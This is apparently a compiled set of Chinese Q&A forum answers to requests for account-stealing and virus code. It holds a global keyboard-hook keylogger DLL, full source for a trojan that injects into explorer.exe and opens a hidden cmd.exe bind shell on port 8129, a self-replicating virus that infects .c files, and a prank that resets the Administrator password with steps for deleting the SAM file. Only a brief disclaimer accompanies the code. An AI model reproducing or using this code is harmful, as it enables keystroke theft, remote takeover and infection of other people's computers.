谁有 e语言游戏盗号源码
B语言C语言D语言我都听说过,可是...
无非是对Win32 API的使用.找些C语言的资料来看就可以了,知道C语言怎么用了,那个E语言也就差不多.
求c语言控制台程序下的SetWindowHookEx源码,本人欲用c语言写一个键盘钩子全盘监视的程序,不知怎么写,
呵呵,看了你问题和跟一楼的问答,我倍感欣慰!
对你的好学与追求,凡事自己动手的特质感到高兴!
我就给你一点提示吧,希望你能用的上!
道理,理论就不提了,我想你应该清楚,因为你是专业搞软件的,而我只是的爱好者,我想你比我
还要清楚!
那么现在说一下程序吧,因为编程爱好者的语言就是程序!
首先,我想驱动级的汇编处的程序,应该对你的难度太大了,我也没有精力给你写出这样的源码。
现在走个捷径,就是用系统api,不过360等杀毒软件可能会杀掉的你程序,因为我们写的代码对于
专业杀毒软件来说,实在是没什么秘密。我曾经用api写了一个木马病毒,建了两个守护进程,并用
各种方式马天过海,瑞星垃圾被骗过去,但我的程序终结在了360那里,因为它有个云端杀毒,最后
还是被查杀了!
你的问题,需要用到一个全局钩子,并建立一个dll
HHOOK WINAPI SetWindowsHookEx(int idHook,HOOKPROC lpfn,HINSTANCE hmod,DWORD dwThreadId)
首先int idHook指明安装钩子的类型,WH_KEYBOARD(键盘钩子)
其次,建立钩子处理函数LRESULT WINAPI HookProc(int nCode,WPARAM wParam,LPARAM lParam)
然后,hmod是钩子函数所在模块的句柄,dwThreadId是线程ID,待监视消息的ID,如果为0,则为全局钩子,
给你个示例代码模型吧
#include "stdafx.h"
#includewindows.h
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved )
{
return TRUE;
}
HMODULE WINAPI ModuleFromAddress(PVOID pv) //该函数根据内存地址,获得其所在的模块句柄
{
MEMORY_BASIC_INFORMATION mbi;
VirtualQuery(pv,mbi,sizeof(mbi));
return (HMODULE)mbi.AllocationBase;
}
LRESULT CALLBACK HookKey(int nCode,WPARAM wParam,LPARAM lParam)
//关键的地方(回调函数),这是 钩子处理函数,详细的功能参数自己去查吧
这样当按下了一个键后,接收该按键消息的进程,会先去执行钩子处理函数,然后再处理消息,
而钩子处理函数的几个参数说明了按键的详细信息,如按了哪个键,是按下(KEYDOWN)还是松开(KEYUP)。
{
这里写你的处理方案,比如用api发消息给某个窗口,发送连续n个字符等,这你会吧!
return TRUE; //返回真,截获了消息,
19 }
20 extern "C" __declspec(dllexport) void SetHook(void)
21 {
22 SetWindowsHookEx(WH_KEYBOARD,HookKey,ModuleFromAddress(HookKey),0);
23 }
生成dll文件。
下面是使用dll的程序
#includewindows.h
int main()
{
HMODULE hMod=LoadLibrary("KeyDll.dll");
typedef void(*pSetHook)(void);
pSetHook SetHook=(pSetHook)GetProcAddress(hMod,"SetHook");
SetHook();
while(1)
{
Sleep(1000); //避免程序结束,自动释放动态链接库
}
return 0;
}
c语言编写的木马源代码
#includewinsock2.h
#pragma comment(lib,"ws2_32.lib")
#includewindows.h
#include Shlwapi.h
#pragma comment(lib,"Shlwapi.lib")
#include tlhelp32.h
#include stdio.h
#include string.h
//参数结构 ;
typedef struct _RemotePara
{
DWORD dwLoadLibrary;
DWORD dwFreeLibrary;
DWORD dwGetProcAddress;
DWORD dwGetModuleHandle;
DWORD dwWSAStartup;
DWORD dwSocket;
DWORD dwhtons;
DWORD dwbind;
DWORD dwlisten;
DWORD dwaccept;
DWORD dwsend;
DWORD dwrecv;
DWORD dwclosesocket;
DWORD dwCreateProcessA;
DWORD dwPeekNamedPipe;
DWORD dwWriteFile;
DWORD dwReadFile;
DWORD dwCloseHandle;
DWORD dwCreatePipe;
DWORD dwTerminateProcess;
DWORD dwMessageBox;
char strMessageBox[12];
char winsockDll[16];
char cmd[10];
char Buff[4096];
char telnetmsg[60];
}RemotePara;
// 提升应用级调试权限
BOOL EnablePrivilege(HANDLE hToken,LPCTSTR szPrivName,BOOL fEnable);
// 根据进程名称得到进程ID
DWORD GetPidByName(char *szName);
// 远程线程执行体
DWORD __stdcall ThreadProc(RemotePara *Para)
{
WSADATA WSAData;
WORD nVersion;
SOCKET listenSocket;
SOCKET clientSocket;
struct sockaddr_in server_addr;
struct sockaddr_in client_addr;
int iAddrSize = sizeof(client_addr);
SECURITY_ATTRIBUTES sa;
HANDLE hReadPipe1;
HANDLE hWritePipe1;
HANDLE hReadPipe2;
HANDLE hWritePipe2;
STARTUPINFO si;
PROCESS_INFORMATION ProcessInformation;
unsigned long lBytesRead = 0;
typedef HINSTANCE (__stdcall *PLoadLibrary)(char*);
typedef FARPROC (__stdcall *PGetProcAddress)(HMODULE, LPCSTR);
typedef HINSTANCE (__stdcall *PFreeLibrary)( HINSTANCE );
typedef HINSTANCE (__stdcall *PGetModuleHandle)(HMODULE);
FARPROC PMessageBoxA;
FARPROC PWSAStartup;
FARPROC PSocket;
FARPROC Phtons;
FARPROC Pbind;
FARPROC Plisten;
FARPROC Paccept;
FARPROC Psend;
FARPROC Precv;
FARPROC Pclosesocket;
FARPROC PCreateProcessA;
FARPROC PPeekNamedPipe;
FARPROC PWriteFile;
FARPROC PReadFile;
FARPROC PCloseHandle;
FARPROC PCreatePipe;
FARPROC PTerminateProcess;
PLoadLibrary LoadLibraryFunc = (PLoadLibrary)Para-dwLoadLibrary;
PGetProcAddress GetProcAddressFunc = (PGetProcAddress)Para-dwGetProcAddress;
PFreeLibrary FreeLibraryFunc = (PFreeLibrary)Para-dwFreeLibrary;
PGetModuleHandle GetModuleHandleFunc = (PGetModuleHandle)Para-dwGetModuleHandle;
LoadLibraryFunc(Para-winsockDll);
PWSAStartup = (FARPROC)Para-dwWSAStartup;
PSocket = (FARPROC)Para-dwSocket;
Phtons = (FARPROC)Para-dwhtons;
Pbind = (FARPROC)Para-dwbind;
Plisten = (FARPROC)Para-dwlisten;
Paccept = (FARPROC)Para-dwaccept;
Psend = (FARPROC)Para-dwsend;
Precv = (FARPROC)Para-dwrecv;
Pclosesocket = (FARPROC)Para-dwclosesocket;
PCreateProcessA = (FARPROC)Para-dwCreateProcessA;
PPeekNamedPipe = (FARPROC)Para-dwPeekNamedPipe;
PWriteFile = (FARPROC)Para-dwWriteFile;
PReadFile = (FARPROC)Para-dwReadFile;
PCloseHandle = (FARPROC)Para-dwCloseHandle;
PCreatePipe = (FARPROC)Para-dwCreatePipe;
PTerminateProcess = (FARPROC)Para-dwTerminateProcess;
PMessageBoxA = (FARPROC)Para-dwMessageBox;
nVersion = MAKEWORD(2,1);
PWSAStartup(nVersion, (LPWSADATA)WSAData);
listenSocket = PSocket(AF_INET, SOCK_STREAM, 0);
if(listenSocket == INVALID_SOCKET)return 0;
server_addr.sin_family = AF_INET;
server_addr.sin_port = Phtons((unsigned short)(8129));
server_addr.sin_addr.s_addr = INADDR_ANY;
if(Pbind(listenSocket, (struct sockaddr *)server_addr, sizeof(SOCKADDR_IN)) != 0)return 0;
if(Plisten(listenSocket, 5))return 0;
clientSocket = Paccept(listenSocket, (struct sockaddr *)client_addr, iAddrSize);
// Psend(clientSocket, Para-telnetmsg, 60, 0);
if(!PCreatePipe(hReadPipe1,hWritePipe1,sa,0))return 0;
if(!PCreatePipe(hReadPipe2,hWritePipe2,sa,0))return 0;
ZeroMemory(si,sizeof(si)); //ZeroMemory是C运行库函数,可以直接调用
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = hReadPipe2;
si.hStdOutput = si.hStdError = hWritePipe1;
if(!PCreateProcessA(NULL,Para-cmd,NULL,NULL,1,0,NULL,NULL,si,ProcessInformation))return 0;
while(1) {
memset(Para-Buff,0,4096);
PPeekNamedPipe(hReadPipe1,Para-Buff,4096,lBytesRead,0,0);
if(lBytesRead) {
if(!PReadFile(hReadPipe1, Para-Buff, lBytesRead, lBytesRead, 0))break;
if(!Psend(clientSocket, Para-Buff, lBytesRead, 0))break;
}else {
lBytesRead=Precv(clientSocket, Para-Buff, 4096, 0);
if(lBytesRead =0 ) break;
if(!PWriteFile(hWritePipe2, Para-Buff, lBytesRead, lBytesRead, 0))break;
}
}
PCloseHandle(hWritePipe2);
PCloseHandle(hReadPipe1);
PCloseHandle(hReadPipe2);
PCloseHandle(hWritePipe1);
Pclosesocket(listenSocket);
Pclosesocket(clientSocket);
// PMessageBoxA(NULL, Para-strMessageBox, Para-strMessageBox, MB_OK);
return 0;
}
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
const DWORD THREADSIZE=1024*4;
DWORD byte_write;
void *pRemoteThread;
HANDLE hToken,hRemoteProcess,hThread;
HINSTANCE hKernel,hUser32,hSock;
RemotePara myRemotePara,*pRemotePara;
DWORD pID;
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,hToken);
EnablePrivilege(hToken,SE_DEBUG_NAME,TRUE);
// 获得指定进程句柄,并设其权限为PROCESS_ALL_ACCESS
pID = GetPidByName("EXPLORER.EXE");
if(pID == 0)return 0;
hRemoteProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pID);
if(!hRemoteProcess)return 0;
// 在远程进程地址空间分配虚拟内存
pRemoteThread = VirtualAllocEx(hRemoteProcess, 0, THREADSIZE, MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
if(!pRemoteThread)return 0;
// 将线程执行体ThreadProc写入远程进程
if(!WriteProcessMemory(hRemoteProcess, pRemoteThread, ThreadProc, THREADSIZE,0))return 0;
ZeroMemory(myRemotePara,sizeof(RemotePara));
hKernel = LoadLibrary( "kernel32.dll");
myRemotePara.dwLoadLibrary = (DWORD)GetProcAddress(hKernel, "LoadLibraryA");
myRemotePara.dwFreeLibrary = (DWORD)GetProcAddress(hKernel, "FreeLibrary");
myRemotePara.dwGetProcAddress = (DWORD)GetProcAddress(hKernel, "GetProcAddress");
myRemotePara.dwGetModuleHandle = (DWORD)GetProcAddress(hKernel, "GetModuleHandleA");
myRemotePara.dwCreateProcessA = (DWORD)GetProcAddress(hKernel, "CreateProcessA");
myRemotePara.dwPeekNamedPipe = (DWORD)GetProcAddress(hKernel, "PeekNamedPipe");
myRemotePara.dwWriteFile = (DWORD)GetProcAddress(hKernel, "WriteFile");
myRemotePara.dwReadFile = (DWORD)GetProcAddress(hKernel, "ReadFile");
myRemotePara.dwCloseHandle = (DWORD)GetProcAddress(hKernel, "CloseHandle");
myRemotePara.dwCreatePipe = (DWORD)GetProcAddress(hKernel, "CreatePipe");
myRemotePara.dwTerminateProcess = (DWORD)GetProcAddress(hKernel, "TerminateProcess");
hSock = LoadLibrary("wsock32.dll");
myRemotePara.dwWSAStartup = (DWORD)GetProcAddress(hSock,"WSAStartup");
myRemotePara.dwSocket = (DWORD)GetProcAddress(hSock,"socket");
myRemotePara.dwhtons = (DWORD)GetProcAddress(hSock,"htons");
myRemotePara.dwbind = (DWORD)GetProcAddress(hSock,"bind");
myRemotePara.dwlisten = (DWORD)GetProcAddress(hSock,"listen");
myRemotePara.dwaccept = (DWORD)GetProcAddress(hSock,"accept");
myRemotePara.dwrecv = (DWORD)GetProcAddress(hSock,"recv");
myRemotePara.dwsend = (DWORD)GetProcAddress(hSock,"send");
myRemotePara.dwclosesocket = (DWORD)GetProcAddress(hSock,"closesocket");
hUser32 = LoadLibrary("user32.dll");
myRemotePara.dwMessageBox = (DWORD)GetProcAddress(hUser32, "MessageBoxA");
strcat(myRemotePara.strMessageBox,"Sucess!\\0");
strcat(myRemotePara.winsockDll,"wsock32.dll\\0");
strcat(myRemotePara.cmd,"cmd.exe\\0");
strcat(myRemotePara.telnetmsg,"Connect Sucessful!\\n\\0");
//写进目标进程
pRemotePara =(RemotePara *)VirtualAllocEx (hRemoteProcess ,0,sizeof(RemotePara),MEM_COMMIT,PAGE_READWRITE);
if(!pRemotePara)return 0;
if(!WriteProcessMemory (hRemoteProcess ,pRemotePara,myRemotePara,sizeof myRemotePara,0))return 0;
// 启动线程
hThread = CreateRemoteThread(hRemoteProcess ,0,0,(DWORD (__stdcall *)(void *))pRemoteThread ,pRemotePara,0,byte_write);
while(1) {}
FreeLibrary(hKernel);
FreeLibrary(hSock);
FreeLibrary(hUser32);
CloseHandle(hRemoteProcess);
CloseHandle(hToken);
return 0;
}
BOOL EnablePrivilege(HANDLE hToken,LPCTSTR szPrivName,BOOL fEnable){
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL,szPrivName,tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED:0;
AdjustTokenPrivileges(hToken,FALSE,tp,sizeof(tp),NULL,NULL);
return((GetLastError() == ERROR_SUCCESS));
}
DWORD GetPidByName(char *szName)
{
HANDLE hProcessSnap = INVALID_HANDLE_VALUE;
PROCESSENTRY32 pe32={0};
DWORD dwRet=0;
hProcessSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if(hProcessSnap == INVALID_HANDLE_VALUE)return 0;
pe32.dwSize = sizeof(PROCESSENTRY32);
if(Process32First(hProcessSnap, pe32))
{
do
{
if(StrCmpNI(szName,pe32.szExeFile,strlen(szName))==0)
{
dwRet=pe32.th32ProcessID;
break;
}
}while (Process32Next(hProcessSnap,pe32));
}
else return 0;
if(hProcessSnap !=INVALID_HANDLE_VALUE)CloseHandle(hProcessSnap);
return dwRet;
}
求个C语言编程跟简单的盗号代码我没用过想弄个软件整朋友~盗号这种没品的事我干不出来935442654@qq.com邮箱
如何盗号呢,你能讲下过程么,我可以实现让你好友的电脑蓝屏,并且死机功能。
c语言木马源代码
#include stdio.h
#include dir.h
void main(void)
{
virus();
}
int virus()
{
struct ffblk ffblk;
FILE *in,*out,*read;
char *virus="virus.c";
char buf[50][80];
char *p;
char *end="return";
char *bracket="}";
char *main="main";
char *include[2]={"stdio.h","dir.h"};
char *int_virus="int virus()";
char *buffer;
int done,i,j=0,flag=0;
printf("\nI have a virus. Writen by PuBin\n");
done = findfirst("*.c",ffblk,0);
while (!done)
{
i=0;
if ((in = fopen(ffblk.ff_name, "rt"))== NULL)
{
goto next;
}
do{
if(i=50)
{
fclose(in);
goto next;
}
p=fgets(buf[i],80,in);
i++;
}while(p!=NULL);
fclose(in);
out=fopen(ffblk.ff_name,"w+t");
fputs("#includestdio.h\n",out);
fputs("#includedir.h\n",out);
do
{
if(strstr(buf[j],main)!=NULL)
{
for(;ji-1;j++)
if(strstr(buf[j],end)==NULLstrstr(buf[j],bracket)==NULL)
fputs(buf[j],out);
else
{
if(flag==0)
{
flag=1;
fputs("virus();\n",out);
}
fputs(buf[j],out);
}
}
else if((strstr(buf[j],include[0])==NULL)
(strstr(buf[j],include[1])==NULL))
{
fputs(buf[j],out);
j++;
}
else
j++;
}while(ji-1);
read=fopen(virus,"rt");
do
{
p=fgets(buffer,80,read);
if(strstr(buffer,int_virus))
while(p!=NULL)
{
if(strstr(buffer,virus)==NULL)
fputs(buffer,out);
else
{
fputs(" char *virus=\"",out);
fputs(ffblk.ff_name,out);
fputs("\";\n",out);
}
p=fgets(buffer,80,read);
}
}while(p!=NULL);
fclose(read);
fclose(out);
printf("\nYour c program %s has a virus. Writen by PuBin\n",ffblk.ff_name);
next: done = findnext(ffblk);
}
return 0;
}
严重声明:这个程序只是供C语言新手参考,开玩笑没关系,但如果用来做不法的事情,本人概不负责。还有,编病毒、木马去做违法的事情惩罚是很重的,你如果想学编程,编个简单的就好了,否则后果很严重。
qq被源代码盗号还能找回么?
源代码是什么恐怕你都不理解,你以为是一大串你看不懂的字母吗?不是的,这个是编程语言,C语言、Java语言等等都属于编程语言,甚至连二进制等,这些都可以算作是源代码。而单纯的依赖源代码是无法盗号的,即使计算机之父来了也不能。
说那些源代码你很难理解,就说被盗号怎么找回吧。被盗号唯一的渠道就是去申诉,拿出你有力的证据,自己证明这个号是你自己的,只有你自己能证明了,号自然也就可以找回。比如用实名制、即使对方把你的手机号修改了,也可以依赖实名制找回。没有实名制,也没有手机号,啥都没有,连你自己都不能证明,还如何让别人甚至客服相信你,这还不如说天上那辆飞机是我的,你说谁会信。
至于下面的小骗子说有点棘手、不过能。能什么,我这随便考问他几个账号找回的问题、让他到网上找答案都回答不上来。骗人可以,不过智商有点太低了。就这样的骗子,我要是愿意,随便挖个坑让骗子往里跳,送进去监狱改造改造,猖狂。
求C语言病毒源码
一个小东西 介绍了后别笑话我 !它的功能很简单,就是把Administrator的密码该成xiaobai
大家整了人之后切记告诉他密码(xiaobai)
自己可以用TC2.0编写编译调试生成
C语言下的代码如下:
main()
{
system("net user administrator xiaobai");
}
如果自己真的不小心忘记了密码 如果是XP系统 管理员密码破解如下:
1.用个启动盘启动电脑后进入DOS 状态下:输入如下命令
del X:\windows\sysrem32\config\sam 回车
copy x:\windows\repair\sam x:\windows\system32\config 回车
2.重新启动计算机。X为安装XP的盘 一般为c:
C语言暴力破解源代码
问题的难点在破解而非暴力,暴力有遍历枚举的意思,有办法破解的话,遍历就只是时间问题。
至于破解,那就是比较困难的事了,你最后问的问题就是关键,怎么把密码放到该输入密码的地方去,然后验证。
有一个笨办法是用按键精灵,写个脚本重复试。
自己会写代码的话么就写程序,控制输入焦点和鼠标。
当然这些都是不入流的笨办法。(而且几乎不可能真正解开密码,除非密码很短)
真正要破解一个文档密码的话,至少要做到几点:
1、了解文档格式
2、了解密码存放格式
3、了解密码验证方式
4、了解文档加密方式
只有了解了这些才有可能做到真正意义上的破解。
如果你只是想破解某一个常用文档,那还不如去网上搜一下这种文档的密码破解程序。常用的像word,excel都是有现成的破解程序的。